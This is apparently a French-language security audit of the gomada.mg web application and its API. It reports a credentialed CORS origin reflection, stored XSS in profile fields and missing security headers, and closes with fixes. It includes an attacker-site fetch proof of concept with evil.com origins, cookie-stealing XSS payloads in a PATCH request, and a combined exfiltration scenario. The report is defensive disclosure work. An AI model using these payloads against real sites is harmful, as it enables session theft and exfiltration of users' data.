Rapport d'Audit de Securite - gomada.mg
Cible : gomada.mg / api.gomada.mg
Type : Application web Angular + API Node.js
Date : Fevrier 2026
1. Resume des vulnerabilites
| Vulnerabilite |
Severite |
Impact |
| CORS Misconfiguration |
CRITIQUE |
Vol de session, exfiltration de donnees |
| Stored XSS (champs profil) |
HAUTE |
Injection HTML/JS dans 5 champs profil |
| Headers de securite manquants |
MOYENNE |
Pas de CSP, X-Content-Type-Options, X-Frame-Options |
2. CORS Misconfiguration (Critique)
L'API api.gomada.mg reflete n'importe quel header Origin dans sa reponse
Access-Control-Allow-Origin, avec Access-Control-Allow-Credentials: true.
Cela signifie qu'un site malveillant peut faire des requetes authentifiees vers l'API
au nom de l'utilisateur connecte, et lire les reponses.
Demonstration
// Requete depuis un site attaquant
fetch('https://api.gomada.mg/api/user/profile', {
credentials: 'include' // envoie les cookies
})
.then(r => r.json())
.then(data => {
// L'attaquant a acces au profil complet
console.log(data.mail, data.firstName);
});
Reponse du serveur :
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Le serveur accepte n'importe quelle origine, meme malveillante.
Preuve - Headers observes
Origin envoye: https://evil.com
ACAO recu: https://evil.com (reflete!)
ACAC recu: true
Origin envoye: https://gomada.mg.evil.com
ACAO recu: https://gomada.mg.evil.com (reflete!)
ACAC recu: true
Origin envoye: null
ACAO recu: null (reflete!)
ACAC recu: true
3. Stored XSS (Haute)
Le backend ne sanitize pas les champs du profil utilisateur. Les champs suivants acceptent
du HTML/JavaScript :
firstName
lastName
phone
gender
dateOfBirth
Demonstration
PATCH /api/user/profile
Content-Type: application/json
{
"firstName": "<img src=x onerror=alert(1)>",
"lastName": "<script>alert(document.cookie)</script>"
}
Note : Angular sanitize le rendu cote frontend (text interpolation),
donc le XSS ne s'execute pas dans le navigateur Angular. Cependant, le payload est
stocke tel quel dans la base de donnees MongoDB, ce qui reste dangereux si les donnees
sont affichees dans un autre contexte (email, export, API directe).
4. Headers de securite manquants
Content-Security-Policy: MANQUANT
X-Content-Type-Options: MANQUANT
X-Frame-Options: MANQUANT
X-XSS-Protection: MANQUANT
Strict-Transport-Security: MANQUANT
L'absence de ces headers facilite les attaques de type clickjacking, MIME sniffing,
et ne fournit aucune couche de defense supplementaire.
5. Scenario d'attaque combine
En combinant la misconfiguration CORS avec le XSS stocke :
- L'attaquant injecte du JS dans son profil (stored XSS)
- L'attaquant heberge une page web malveillante
- La victime (admin) visite cette page en etant connectee a gomada.mg
- La page exploite le CORS pour voler les donnees de la victime
- Profil, conversations, reservations : tout est exfiltre
6. Recommandations
- Configurer une whitelist stricte pour les origines CORS autorisees
- Sanitizer les entrees utilisateur cote backend (pas seulement cote frontend)
- Ajouter les headers de securite (CSP, X-Content-Type-Options, etc.)
- Ajouter un attribut
SameSite=Strict aux cookies sensibles